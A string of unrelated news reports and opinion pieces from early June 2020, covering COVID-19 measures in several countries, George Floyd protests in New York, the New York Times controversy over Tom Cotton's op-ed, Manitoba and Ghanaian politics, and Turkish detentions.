Lives in the same household as the patient.

Anyone in close proximity (within 1 meter) of the confirmed case without precautions.

Passengers in close proximity (within 1 meter) in a conveyance with a symptomatic person who later tested positive for COVID-19 for more than 6 hours.

Low-risk contact

Shared the same space (worked in same room/similar) but not having a high-risk exposure to confirmed case of COVID-19.

Travelled in same environment (bus/train/flight/any mode of transit) but not having a high-risk exposure.
Source: Xinhua| 2020-06-05 23:11:54|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- Legislative measures will be taken in Beijing to ensure the security of hospitals, local authorities said Friday.

The regulation on safety and order management of hospitals in Beijing, to be implemented from July 1, 2020, was adopted Friday at a session of the Standing Committee of the 15th Beijing Municipal People's Congress.

It bans behaviors relating to insulting and intimidating medics, and disruptive acts such as beating or injuring medics and illegally restricting the freedom of medical personnel. Offenders shall bear civil or criminal liabilities according to law.

The regulation requires hospitals to carry out security checks at entrances or key areas and set up green channels of security checks for emergency and critical patients.

The location of security check facilities can be flexibly adjusted in consideration of factors such as the flow of people. For those refusing security checks, hospitals have the right to deny access to relevant areas, according to the regulation.

The regulation can help prevent and reduce illegal cases involving assaults on medics, said Wang Rongmei, director of the legislative affairs office of the Standing Committee of Beijing Municipal People's Congress.

On the same day, a regulation on the prevention and control of medical waste was also approved at the session, which will go into effect from Sept. 1 this year. Enditem
Speculation about the post-pandemic future of society is rampant. The crisis has required governments to intervene and spend mountains of money. Some left-of-centre commentators have argued that the neo-liberal, anti-government, low-tax and downsizing thinking that dominated political discourse for decades could be waning. That remains to be seen. The best prophets are usually just the best guessers.

Hey there, time traveller!

This article was published 5/6/2020 (595 days ago), so information in it may no longer be current.

Opinion

Speculation about the post-pandemic future of society is rampant. The crisis has required governments to intervene and spend mountains of money. Some left-of-centre commentators have argued that the neo-liberal, anti-government, low-tax and downsizing thinking that dominated political discourse for decades could be waning. That remains to be seen. The best prophets are usually just the best guessers.

So, this leads me to ask: "If there is more public sentiment supporting a positive role for government, what might this mean for the NDP in Manitoba?"

After nearly 17 years in government, the NDP was defeated soundly in the 2016 election, a setback caused mainly by a broken promise not to increase the provincial sales tax, and a cabinet revolt that nearly toppled premier Greg Selinger and generalized voter frustration with a party that seemed complacent and out of ideas.

After Wab Kinew was selected leader in 2017, the NDP began a rebuilding process.

In the early provincial election held in September 2019, the ruling Progressive Conservatives were returned with another comfortable majority. The victory was achieved despite a tough and highly contentious budgetary strategy of downsizing, consolidations, restraint and layoffs. Focusing its campaign attacks mainly on the health-care changes, the NDP captured six per cent more of the popular vote and won six more seats than in 2016.

In the next election campaign, the NDP will likely focus strongly on how the province was left unprepared for the pandemic due to downsizing, and how the austerity agenda of the premier meant the provincial response to the economic fallout was slow and limited.

Defending his government, Pallister claims the former NDP government left a deep financial mess of deficits, debts and falling credit ratings that required drastic measures. Clearly, there is a philosophical divide between the two main parties.

Focusing specifically on the NDP, there has always been an internal tension between a historical social movement advancing social-democratic ideas and a competitive political-party orientation focused on winning power. After its historic first victory in 1969, the competitive party orientation came to gradually take hold.

After a decade in opposition, Gary Doer led the NDP to power in 1999 based on a moderate, pragmatic approach. However, his successor as leader and premier, Greg Selinger, was far more ideologically inclined.

Almost certainly there will be ongoing debate over how the NDP should define itself going forward. Some insiders will argue that to win the next election, the party must adopt a pragmatic, incremental policy approach. Others will insist that the party should capitalize on the recent sentiments favouring "big government" to advance a comprehensive, bold and ambitious social-democratic agenda.

In my opinion, this is a false and incomplete dichotomy in terms of the realistic choices open to the party. It will have to appeal to voters based on concrete, practical proposals that address contemporary issues and, at the same time, it must provide a broad vision of where it is going over the longer term.

In searching for a balanced approach, the toughest issue will be finding agreement over taxing, spending, deficits and debt. Disagreement on these fiscal policy matters caused a revolt within the NDP back in 2014. Increasing corporate or personal income taxes to gain revenues would probably not be politically feasible, except perhaps for a tax targeted at the wealthy. Reversing the current governments actual and proposed sales-tax reductions to recover lost revenues seems unlikely, given earlier fiascoes on that front.

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The NDP has always been a staunch defender of universal access to quality health care. Not surprisingly, therefore, the party opposed the closures, consolidations and layoffs in the health system introduced by the Pallister government. A decision by a future NDP government to reverse those actions, such as by reopening emergency rooms, would require careful consideration of what is affordable and whether another wave of disruption to the health system is advisable.

Climate change, the possibility of a universal basic income, Indigenous issues, justice reform and the future of Manitoba Hydro are topics on which the NDP will appeal to voters with policy positions distinct from those of the PCs.

The NDP has targeted its criticism of the government at the premier, believing he is personally in charge and lacks a strong connection with voters. Before the next election, however, Pallister is expected by some to resign and be replaced by a leader with less of an ideological edge.

Beyond policy and leaders who are capable of effectively personifying the party brand, election campaigns require organizational capacity and money, both of which are in short supply in the NDP these days.

The next fixed date election is not scheduled until October 2, 2023, so a lot could happen before then. Accordingly, this analysis represents, at best, an educated guess.

Paul G. Thomas is professor emeritus of political studies, University of Manitoba.
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New York City Mayor Bill de Blasio addressed a massive crowd during a George Floyd tribute rally yesterday just hours after Governor Andrew Cuomo urged protesters to get screened for coronavirus.

De Blasio spoke at a memorial for George Floyd yesterday, with the crowd booing and heckling from the moment he arrived, shouting over him as he urged that Floyd's death not be in vain.

De Blasio's appearance in front of the 10,000-strong crowd came shortly after New York Governor Andrew Cuomo said several days and nights of demonstrations in the state could accelerate the spread of the coronavirus, and urged protesters to get tested.

Yesterday was the first day New York City reported no new deaths from the novel coronavirus.

'I'm not a nervous Nellie, I'm just looking at the numbers,' Cuomo said, noting that an estimated 30,000 people have protested in the state.

New York Mayor Bill de Blasio speaks to an estimated 10,000 people as they gather in Brooklyn's Cadman Plaza Park for a memorial service for George Floyd yesterday in New York City

An estimated 10,000 people gather in Brooklyn's Cadman Plaza Park for a memorial service for George Floyd, the man killed by a Minneapolis police officer yesterday in New York City

Chirlane McCray and Bill de Blasio speak to those attending at Cadman Plaza George Floyd memorial, New York, USA yesterday

Terrence Floyd (left) George Floyd's brother and a Brooklyn resident listen to New York Mayor Bill de Blasio speak as they joins protesters to demonstrate the death of Floyd yesterday in New York

New York Mayor Bill de Blasio listens as his wife, First Lady Chirlane McCray, speaks to an estimated 10,000 people as they gather in Brooklyn's Cadman Plaza Park for a memorial service for George Floyd yesterday in New York City

Thousands of protesters march over the Brooklyn Bridge to demonstrate against the death of George Floyd yesterday

'Many wear masks. But there is no social distancing. Police are in their face ... If you were at a protest, get a test, please.'

According to preliminary data from the city's health department, zero additional deaths were confirmed between Tuesday and Wednesday.

Officials cautioned that it's still possible that the number could be upgraded due to lag times in reporting, and because the three probable coronavirus deaths during that period are still under investigation.

Since the outbreak of the global pandemic, New York State has reported 379,937 cases and 30,011 deaths, most of which were in the city.

Terrence Floyd, George Floyd's brother, joins over 5000 marchers walking over the Brooklyn Bridge to honor the memory of George in New York

New York City may have reached a major milestone in its battle against coronavirus as no new deaths were reported between Tuesday and Wednesday, according to preliminary data

The total death toll in New York City did increase by 59 on Wednesday due to deaths that occurred on previous days but had not yet been confirmed

As of Thursday at least 202,319 coronavirus infections have been confirmed in New York City

Nurses and healthcare workers attend a Black Lives Matter rally in front of Bellevue Hospital yesterday in New York City

Protesters the death of George Floyd yesterday on top of the Brooklyn Bridge in New York

De Blasio received an icy reception at the vigil in Brooklyn, with some of the speakers taking shots after videos on social media the night before showed NYPD officers using batons on peaceful demonstrators.

They immediately booed de Blasio as he walked across the stage and chanted: 'De Blasio go home!' and 'Vote them out!'

'We have too much to change in this city and this country,' he said. 'We will not be about words in this city; we will be about change.'

The Democrat mayor said: 'For all of us who have not walked a mile in the shoes of the black community, or communities of color, all of us who know white privilege, we need to do more, because we don't even fully recognize the daily pain that the racism in this society causes.'

The mayor left shortly after delivering his speech and later addressed New Yorkers again on Twitter.

People kneel as they attend a protest against the death in Minneapolis police custody of George Floyd, in New York City, New York, U.S. yesterday

Mayor Bill de Blasio tweeted George Floyd's brother, Terrence yesterday, saying: 'thank you for inviting Chirlane and me today and for working to bring our city together. To my fellow New Yorkers, I hear your anger and your grief. And I promise you we won't let this moment pass without real reform

Thousands of protesters march with Terence Floyd's (centre with NY hat), brother George Floyd over the Brooklyn Bridge to demonstrate his brother's death on June 4, 2020 in New York

New York City Mayor Bill de Blasio speaks alongside his wife Chirlane McCray during a memorial service for George Floyd at Cadman Plaza Park in the Brooklyn borough of New York yesterday

George Floyd's brother, Terrence, speaks to an estimated 10,000 people as they gather in Brooklyn's Cadman Plaza Park yesterday for a memorial service for George Floyd, the man killed by a Minneapolis police officer

Floyds brother, Terrence, Mayor Bill de Blasio, local politicians and civic and religious leaders also attended the event before marching over the Brooklyn Bridge

Protesters march over the Brooklyn Bridge to demonstrate the death of George Floyd yesterday in New York

'To George Floyd's brother, Terrence: thank you for inviting Chirlane and me today and for working to bring our city together. To my fellow New Yorkers, I hear your anger and your grief. And I promise you we won't let this moment pass without real reform,' he said.

Earlier, de Blasio said police have used 'a lot of restraint' overall and added, 'but if there's anything that needs to be reviewed, it will be.'

An estimated 10,000 people had gathered for the vigil at Cadman Plaza Park in support of Floyd and his family, including brother Terrence, who thanked the crowd for their demonstrations.

'You are not alone,' the large crowd chanted before an emotional Terrence Floyd, wearing a mask and a T-shirt bearing his brother's likeness, thanked them for their support.

Members of Alpha Phi Alpha Fraternity march over the Brooklyn Bridge after a memorial service for George Floyd, the man killed by a Minneapolis police officer, yesterday in the Brooklyn borough of New York City

An estimated 10,000 people gather in Brooklyns Cadman Plaza Park for a memorial service for George Floyd, the man killed by a Minneapolis police officer yesterday in New York City

Protesters who were arrested by police for breaking a curfew during a solidarity rally calling for justice over the death of George Floyd, sit on a sidewalk as they wait to be taken away in a van on Thursday yesterday in New York

Protesters who were arrested by police for breaking a curfew during a solidarity rally calling for justice over the death of George Floyd, sit on a sidewalk as they wait to be taken away in a van yesterday in New York

Protesters gather to demonstrate the death of George Floyd yesterday in New York

A person wearing a box with 'Black Lives Matter' written on the side of it stands on the Brooklyn Bridge following a memorial service for George Floyd, the man killed by a Minneapolis police officer in Brooklyns Cadman Plaza Park on June 04, 2020 in New York City

'I thank God for you all showing love to my brother,' he said.

Both Cuomo and de Blasio have said protesters should abide by the curfew to deter the violence, vandalism and destruction that followed protests Sunday and Monday nights.

But as darkness fell Thursday, cries of 'George Floyd' and 'No justice, no peace' continued to ring out from crowds, even as they shrank.

De Blasio has come under fire by both citizens and public officials for supporting police officers' aggressive tactics but also for failing to prevent looters from damaging and vandalizing businesses earlier in the week.

Protesters gather to demonstrate the death of George Floyd yesterday on top of the Brooklyn Bridge in New York

Protesters stayed on the streets of New York City after curfew for another day Thursday, spurred by the death of George Floyd.

Actions by the protesters included gathering at Brooklyn's Cadman Plaza, the site where police used batons against demonstrators who were out past the city-imposed curfew a night earlier.

At some locations, officials watched, but didn't immediately move in. At other spots, they made orderly arrests without the batons and riot gear.
The number of COVID-19 cases in India has been on a gradual rise, with over 2.26 lakh infections recorded till date. This, at a time when the country is starting to gradually resume economic activities, in line with the Centre's guidelines for Unlock 1.0.

Globally, over 66.3 lakh infections and nearly 4 lakh deaths have been reported during the novel coronavirus pandemic, according to data from Johns Hopkins University.

Here are the key highlights from today:

>>The death toll due to COVID-19 in the United Kingdom crosses 40,000, according to a report by BBC. This makes it the second country, after the United States, to report over 40,000 deaths due to the infection.

>>The Finance Ministry has suspended all new schemes till the end of FY21. Only schemes announced under Aatmanirbhar Bharat Abhiyan and Pradhan Mantri Garib Kalyan Yojana will be initiated and continued.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

>>After several officials of the Ministry of Health and Family Welfare (MoHFW) tested positive for COVID-19, the ministry has decided to keep its premises and office of the Directorate General of Health Services shut on June 6 and 7 for a sanitisation drive.

>>The Supreme Court has sought a response from the Centre on public interest litigation (PIL) seeking capping of the treatment cost of COVID-19 patients in private hospitals in the country.

>>Ride-hailing platforms Uber and Ola have announced the resumption of their services in Mumbai, in line with the state government's "Mission Begin Again" guidelines.

>>Maharashtra continues to report the highest number of COVID-19 cases in India, with the tally having breached the 80,000-mark. With 139 deaths reported on June 5, the toll in the state has gone up to 2,849. Meanwhile, Mumbai reported 1,150 new cases today, taking the total number of cases in the city up to 45,854, according to the Municipal Corporation of Greater Mumbai.

>>The Union Public Service Commission released the revised schedule for the Civil Services Examination 2020, which was earlier deferred in light of the nationwide lockdown to contain the spread of the COVID-19 pandemic. The preliminary examination will now be held on October 4, while the main exam will begin on January 8, 2021.

>>Reserving its order in the matter of migrant workers for June 9, the Supreme Court said it intends to give 15 days to the Centre and states for transporting all stranded migrant workers to their native places.
South Africa: All hands on deck to save lives in W Cape

The Western Capes staffing and money shortages will be prioritised as a matter of urgency, as government attempts to deal with an upsurge of COVID-19 infections in the province, President Cyril Ramaphosa said on Friday.

Speaking during a monitoring visit to the province on Friday, where he was received by Western Cape Premier, Alan Winde, President Ramaphosa said the lack of money cannot stand in the way of saving lives.

The staffing challenges must be solved. Were at war. Were fighting a life and death war and staffing challenges must be solved.

We must headhunt and find all those staff members that we need to bring in and the cost is not an issue here, but saving lives is the issue," the President said.

As of Thursday, the Western Cape had 27 006 of the 40 792 COVID-19 infections reported in the country, which is 66% too high for the population proportion.

Meanwhile, 1 306 health practitioners in the public sector alone have tested positive for Coronavirus and the province is expecting a 20% absenteeism rate and needs about 5 272 additional staff.

We have to find the [health workers] and money is not going to be an issue. We must pull out all the stops to save lives, said President Ramaphosa.

The Department of Defence and Military Veterans, the President said, is ready to bring in personnel to lend a hand.

We must also find staff members in various other provinces and Health Minister [Dr Zweli] Mkhize will make sure they are identified and are brought here.

The province constitutes 77% of the deaths reported in the country and there are not enough beds as the number of infections is still expected to peak.

The beds must be increased. Its better to over-provide, rather than to under-provide because the worst is still to come.

Because were at war, we should never be found wanting, the President warned.

While he was pleased with some of the progress made, he raised serious concern on the provinces contact tracing strategy.

It's when we upscale our contact tracing that well be able to follow through on all those who are infected," he said, urging the province to speed up its testing.

The Western Cape has a backlog of 27 000 tests amid test kit scarcities. However, President Ramaphosa said the matter will be resolved, as millions of test kits will be made available on a monthly basis in Africa.

Then well be able to continue with our testing, he said, adding that screening should be continued.

Observing health protocols

The President reiterated the call for health protocols to be strictly followed to curb infections.

He said one way infections have been spreading in the province has been through a lack of sufficient social distancing in public spaces such as malls.

We must embark on a massive communication campaign, so the level of awareness amongst our people is raised exponentially.

"They must become aware of the need for social distancing, wearing of masks, cleaning of hands and all protocols that need to be put in place.

As the epicentre, the Western Cape needs about R3 billion for COVID-19 and President Ramaphosa said the funding will be made available for beds, staff, focusing on hotspots and communication strategies.

He called on the province to deal with the social impact of the disease, such as hunger, which impacts scores of people.

We must make sure we distribute food and theres no corruption. We do it on the basis of addressing the needs of our people.

The President has committed to visiting the province again, should the need arise.

We will all keep our hands on deck... This is a long war. It will probably take us a year and a half, probably two, dealing with COVID-19. We mustnt lose the stamina.

President Ramaphosa was accompanied by Health Minister, Dr Zweli Mkhize; Police Minister Bheki Cele; Human Settlements, Water and Sanitation Minister Lindiwe Sisulu; Public Works and Infrastructure Minister Patricia de Lille and Minister of Forestry and Fisheries and Environmental Affairs Barbara Creecy.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
The Food and Agriculture Organisation has welcomed a decision by the Global Environment Facility (GEF) council to allocate $1.76 million to tackle critical agriculture and environmental projects in 30 nations.

All projects, many climate related, will be co-financed by the governments of Albania, Algeria, Brazil, Burkina Faso, Cambodia, Georgia, Guinea, Indonesia, Jordan, Kenya, Lebanon, Libya, Madagascar, Mauritania, Mexico, Montenegro, Morocco, Nicaragua, Papua New Guinea, Peru, Tanzania, Thailand, Tunisia, Turkey, Tuvalu, Ukraine, Uruguay, Uzbekistan, Vietnam, and Yemen.

In a report published on June 4, the organisation said the decision came at the councils 58th meeting, the first to be conducted virtually.

According to the report, the projects address global environmental crises that impact the productivity and sustainability of agricultural systems across five continents.

Projects

Four projects in Nicaragua, Guinea, Kenya and Uzbekistan will contribute to the GEFs Food Systems, Land Use and Restoration Impact Program. Led by the World Bank, this program aims to protect ecosystem service by embedding production systems within wider landscapes.

One project in Tanzania will complement the GEF Drylands Sustainable Landscape Impact Program, led by FAO, it was established in 2019 to address degradation of land dry land ecosystems, it said.

Other projects focus on safeguarding international and transboundary waters.

One will help Brazil and Uruguay jointly manage the large Merin Lagoon, a vast freshwater lake that sustains millions of migratory birds, it said. Another will help Cambodia and Vietnam monitor and jointly manage their precious groundwater in the Mekong Delta region.

This work strand includes the second phase of the Common Ocean ABNJ Program which aims to establish international standards for sustainable fishing and help reduce overfishing in tuna stocks and bycatch caught through unsustainable practices ABNJ stands for Area Beyond National Jurisdiction, which cover nearly 95 per cent of the volume of the worlds oceans, it added.

Others

The report said four of the projects will allow FAO to support the governments in nine landlocked, small island and least developed countries which face unique challenges due to their geographies and specific social, economic and environmental vulnerabilities.

The FAO Director General, QU Dongyu, said, the approved projects are designed to strengthen national food systems while delivering global environmental benefits to people and the planet.

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They will help smallholder farmers, fisherfolk and foresters diversity their livelihoods, and reinforce their resilience to climate change and other major stress factors, such as the COVID-19 virus.

The report also said since becoming a GEF Agency in 2006, FAO has supported over 130 governments in implementing more than 200 projects with nearly a billion dollars in GEF financing.

To date, FAO GEF projects have benefited almost five million men and women, created over 350,000 jobs in rural communities, safeguarded biodiversity in close to 200 vulnerable marine ecosystem, and saved some 1,000 crop varieties and animal species and breeds from extinction, the report said.
Source: Xinhua| 2020-06-05 15:42:42|Editor: huaxia

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ISTANBUL, June 5 (Xinhua) -- Turkish police on Friday detained at least 46 people, including soldiers, over their alleged links to a group accused of orchestrating a coup attempt in 2016, local media reported.

Police conducted two separate operations in Turkey's western province of Izmir and southeastern province of Diyarbakir to capture the suspects, according to press reports.

The Chief Public Prosecutor's Office in Izmir ordered the detention of 31 people for allegedly using an encrypted mobile application to contact the members of the network led by U.S.-based Turkish cleric Fethullah Gulen, the state-run Anadolu agency said.

The police also seized 54 laptops and several mobile phones with special software that allows them to transfer data and communicate secretly.

In Diyarbakir, police detained 15 soldiers for allegedly having links to the Gulen network, the NTV broadcaster said, noting the operations are continuing throughout the city to catch three others at large.

The Turkish government blames Gulen and his network for being behind the failed coup in July 2016, in which 250 people were killed. Enditem
He embraced composers a bit outside the mainstream, like Charles Ives, Henry Cowell, Morton Feldman, John Cage and Henry Brant, inaugurating an American Mavericks series that drew in eager audiences. He fostered relationships with living composers; brought the orchestra to new heights of technical vitality; and turned it into one of the worlds most respected Mahler ensembles, performing and recording the composers complete symphonies and song cycles on a series of albums  released on the orchestras SFS Media label, another Thomas initiative  that garnered multiple Grammy Awards. It was also no small thing that he was an openly gay music director when that was, as it still is, a rarity.

A prodigiously talented musician, also a pianist and composer, Mr. Thomas, 75, was born in Los Angeles to a family with a rich heritage in the American Yiddish theater. He attracted attention early on for his dynamic musicianship and wide-ranging tastes. If during that youthful period he was also often perceived as bratty and rebellious, he had innovative results as music director of the Buffalo Philharmonic and principal conductor of the London Symphony Orchestra. In 1987, he helped found the New World Symphony in Miami, which became perhaps Americas pre-eminent training orchestra for young artists.

But his career will be defined by his quarter-century in San Francisco. Mr. Thomas clearly realized that by settling in and focusing on a single ensemble poised for adventure, he could foster curiosity among both players and audiences.

Its true that over the last five seasons  more, some would say  his penchant for exploration seemed to be waning, with fewer fresh initiatives and more of a tilt toward the standard repertory. Mr. Thomas answered this criticism, in essence, by deciding to move on. Its time for other perspectives and voices; Esa-Pekka Salonen, his successor, is sure to pull the orchestra in new directions. But if the San Francisco Symphony is ready for those challenges, its in large part because of all that Mr. Thomas has already done.
The Markaz that organised the Tablighi Jamaat gathering at Nizamuddin in Delhi in March deliberately disobeyed directions from authorities despite being informed of the situation arising from the spread of Covid-19, the Central government told the Supreme Court on Friday.

The Centre, in an affidavit filed through Ram Vilas Premi, under secretary in the home ministry, said the Markazs management was contacted by Delhi Police on March 21 and informed of the risk posed by Covid-19. The organisation was asked to send back foreign members of the Jamaat to their countries and Indian members to their states.

However, no one paid any heed to the lawful directions of Delhi Police and to the contrary, an audio recording purportedly by Maulana Mohd Saad, head of the Tablighi Jamaat, was found to be in circulation on social media in which the speaker was heard asking his followers to defy the lockdown and social distancing and to attend the religious gathering of Markaz, the affidavit said.

The risk posed by Covid-19 was subsequently conveyed to Saad and the Markazs management on several occasions during meetings held in the police station but the organisation deliberately disobeyed the directions of authorities, the Centre said.

Maulana Mohd Saad and Markaz management did not inform any health department or government agency about the huge gathering inside the Markaz. Written notices were also issued to Maulana Saad and Markaz management. However, they refused to pay any heed, it alleged.

The Nizamuddin area of Delhi was sealed on March 30 after it came to light that many people, who attended a religious event organised by the Tablighi Jamaat in March, were found to be infected by the Coronavirus. At least 16,500 people visited the Jamaats headquarters in Nizamuddin during March 13-24.

A person named Supriya Pandita approached the Supreme Court in April to seek a CBI probe into alleged lapses by the Delhi government and Delhi Police that led to the congregation at the Markaz.

Ignoring all social distancing norms to avoid the deadly coronavirus, hundreds had been staying in the 100-year-old mosque since March 8. More than 2,000 delegates from Malaysia, Indonesia, Saudi Arabia and Kyrgyzstan attended the congregation of Tablighi Jamaat, Pandita told the court.

The Supreme Court sought the Centres response when the matter was last heard on May 27.

The Centre, in its response, told the court that the probe by Delhi Police into the incident is at an advanced stage and a CBI investigation isnt necessary. The bench headed by Chief Justice SA Bobde then adjourned the case for two weeks.

Pandita alleged that Delhi Police failed to arrest Saad, who organised the religious event that resulted in a surge in Covid-19 cases. People who attended the gathering tested positive in different parts of India, causing cluster transmission of the virus, Pandita contended.

The Centre highlighted that Delhi Police are conducting an investigation into the incident on a day-to-day basis and gave details of actions taken against the violators.

SHO police station Hazrat Nizamuddin requested the crime branch to take necessary action as per law against Maulana Mohd Saad and others of Markaz for their unlawful acts. Union Ministry of Home Affairs has blacklisted 960 foreigners present in India on tourist visas for their involvement in Tablighi Jamaat activities. MHA has also directed DGPs of all concerned states/union territories to take necessary legal action against all violators (who attended Markaz), the affidavit said.
What began as an undercurrent of newsroom grumbling built into an unusual Twitter tidal wave of public outrage among journalists at the New York Times over their newspaper's decision to publish an opinion column by Sen. Tom Cotton, R-Ark., calling for military intervention in U.S. cities wracked by protests over police violence.

But after 24 hours of debate and acrimony - during which both the paper's publisher and editorial-page editor and publisher strongly defended the need to showcase diverse and controversial viewpoints - the paper late Thursday abruptly announced that Cotton's op-ed was the result of a "rushed editorial process" and "did not meet our standards."

The statement from a Times spokesperson and shared online by a Times staff writer did not apologize for the op-ed nor explain if it would be marked with a correction.

One by one, dozens of Times reporters, columnists and editors had rebuked the paper's editorial page Wednesday night for publishing the op-ed, in which Cotton of Arkansas stated that "rioters have plunged many American cities into anarchy" and that an "overwhelming show of force" is needed to "restore order to our streets."

Several staffers tweeted a message that became a kind of rallying cry: "Running this puts Black @nytimes staffers in danger."

The outcry reflected the tensions that have long existed between news and opinion sections of newspapers - separate and distinct staffs, run independently of each other while coexisting under the same brand. In less than 24 hours, both the Times publisher and editorial page editor wrote messages explaining and justifying the decision to publish Cotton's piece.

"I believe in the principle of openness to a range of opinions, even those we may disagree with, and this piece was published in that spirit," publisher A.G. Sulzberger wrote in a letter to staff Thursday morning.

But he acknowledged that many staffers had raised concerns about many aspects of the story and promised to hear them out "with an open mind."

James Bennet, who is often mentioned as a possible successor to Times executive editor Dean Baquet, wrote in a column that, "the public would be better equipped to push back if it heard the argument and had the chance to respond to the reasoning.

He added: "Readers who might be inclined to oppose Cotton's position need to be fully aware of it, and reckon with it, if they hope to defeat it."

The Cotton op-ed made several questionable assertions, such as that "leftwing radicals, like antifa, [have] infiltrated marches," and that "some elites" have condoned vandalism and looting. Cotton didn't identify any individual making such statements, nor offer any support that antifa - a vaguely defined group of radicals - had instigated violence. As one Times reporter pointed out, the antifa claim has been debunked in Times reporting as misinformation.

Opposition within the Times began shortly after the column was published late Wednesday. It was articulated subtly at first:

"As if it weren't already hard enough to be a black employee of the New York Times," tweeted Jazmine Hughes, an editor of the New York Times magazine just before evening.

But the staff reaction quickly turned more vitriolic. Tejal Rao, a restaurant columnist for the magazine, tweeted a screengrab of Cotton's headline ("Send In the Troops") with a an expletive, adding: "The nation must stop killing black people."

President Donald Trump's talk of deploying troops has set off alarm bells for many, including retired senior officers such as former Defense Secretary James Mattis, a concern heightened by the U.S. Park Police's use of tear gas and aggressive tactics to clear peaceful protesters from a square outside the White House for a presidential photo op on Monday.

Against that backdrop, several Times staff members viewed Cotton's essay as an ominous "call for military force against Americans," as Times opinion columnist Jamelle Bouie put it.

"I'll probably get in trouble for this, but to not say something would be immoral," tweeted Nikole Hannah-Jones, who recently won the Times a Pulitzer for her "1619 project. "As a black woman, as a journalist, as an American, I am deeply ashamed that we ran this."

The Times was not the only major U.S. newspaper to experience a staff backlash Wednesday. Journalists at the Philadelphia Inquirer protested the decision to give an opinion piece about damage suffered by city buildings during protests the headline of "Buildings Matter, Too" - a riff on "Black Lives Matter" that many felt equated the toll on architecture to the deaths of African Americans at the hands of police. The paper apologized, but about 40 minority staff members signed a protest letter, with many choosing to call in sick today.

The Cotton column was published by the Times' editorial, or opinion, section, which is distinct and separately managed from its news section. It was part of its op-ed page, created by the Times in 1970, and copied by many newspapers since, to contain outside opinion. Op-ed refers to both the physical placement of the page - opposite the newspaper's institutional columns and editorials - and the notion that its authors often hold opinions that are different from the newspaper's own.

That was the case with Cotton's piece; the Times has editorialized against the use of military force in cities grappling with violence around protests. In a lengthy response to the controversy emailed to Times' subscribers and in his column, Bennet said he, too, opposed the use of troops.

On Thursday, some commentators pushed back on the pushback within the Times.

"The attacks on the newspaper capture the rising intolerance for opposing views in our society," said Jonathan Turley, a law professor at George Washington University who frequently writes opinion columns, in an email. He called it "chilling" that "the demands are coming from journalists and writers themselves. This is akin to priests campaigning against free exercise of religion. . . . I never thought I would see the day where writers called for private censorship of views."

Because of its prominence, the Times' op-ed page and columnists often generate controversy, though rarely from within the newspaper itself. There was widespread criticism in February, for example, when the Times published an op-ed from a member of Afghanistan's Taliban, particularly because the paper failed to identify the author's history of involvement in terrorist activities. There was little internal opposition to the column, however, at least none that spilled into public view.

One Times reporter, who spoke on the condition of anonymity to describe internal conversations, said most reporters welcome "a diverse range of opinions in our op-ed pages" but that "I just felt like we didn't add enough context." The reporter added it would have been more useful to cover Cotton's argument within a news story, which could then have included context, fact-checking and counterarguments.

Cotton's Senate office declined to comment earlier Thursday about the newsroom uproar. Instead, his office pointed to a Fox News spot on Thursday where Cotton commended the New York Times' leadership for standing up to "to the woke progressive mob in their own newsroom."

Times employees are planning to send a letter to the organization's management, according to a statement from the New York NewsGuild, which called the op-ed's publication "an irresponsible choice." The union argued that "invoking state violence disproportionately hurts Black and brown people. It also jeopardizes our journalists' ability to work in the field safely and effectively."

Times reporter John Eligon, who is covering the protests in Minneapolis, pointed to a confluence of recent events - coronavirus's disproportionate toll on minority communities, the killing of Ahmaud Arbery by a retired police detective in Georgia, the shooting death of Breonna Taylor by Louisville police executing a search warrant on the wrong home, the viral incident when a white woman called the police on a black birdwatcher in Central Park.

"We are already in a moment in America where black people and black journalists felt vulnerable," said Eligon. "To that extent I think that there needs to be some serious discussion about why the Cotton piece was published, how it happened and what needs to be done going forward so that we have a systemic change in the way we go about things about the Times."
NPP National Youth Organizer, Nana Boakye has warned the rank and file of the National Democratic Congress (NDC) to stop bastardizing the Electoral Commission (EC).



Nana Boakye, also called Nana B, noted that the NDC is their own nightmare not the EC.



EC Registration Exercise



The Electoral Commission says it will commence the new voters' registration exercise in the middle of June, 2020.



The exercise is to ensure a credible voters' register for this year's general elections and all other elections that will be held in the country.



According to the EC, only Ghana card and passport holders will be eligible to register their names; however, those without these two legal requirements can still go ahead to have their names written in the new voters' register once they have a guarantor.



Opposition To EC



The EC has come under intense criticisms by leadership and members of the opposition NDC.



The NDC has challenged the EC's decision to compile a new voters' register and dragged the Commission to the Supreme Court seeking clarifications on whether or not its decision is in accordance with the constitution.



The party also accuses the Commission of trying to disenfranchise 11 million Ghanaians, hence the decision to use only the Ghana cardd and passport for the registration exercise.



They are praying the highest court of the land to direct the EC to allow old voters' ID holders to participate in the exercise.



EC/NIA Election Rigging



The NDC leadership says more Ghanaians do not have the Ghana card and has blamed it on the National Identification Authority (NIA).



The party claims the NIA has been done only over 7 million cards while there is a large chunk of Ghanaians who have not been able to register for the cards because the Authority failed to do their work effectively.



They further accuse thet EC and NIA of colluding with the governing New Patriotic Party (NPP) to rig the December elections in favor of President Nana Addo Dankwa Akufo-Addo.



Nana Boakye Scolds The NDC



The NPP National Youth Organizer has asked the NDC not to blame the NIA or EC over the party's fears that there will be a low turnout of their members and supporters during the registration exercise.



According to him, the NDC have contributed to their own woes and should see themselves as their own enemies.



He explained to host Kwami Sefa Kayi on ''Kokrokoo'' on Peace FM that the leadership of NDC asked their members not to partake in the NIA exercise; so if the members have obeyed the instructions and do not have the NIA cards, they should have themselves to blame.



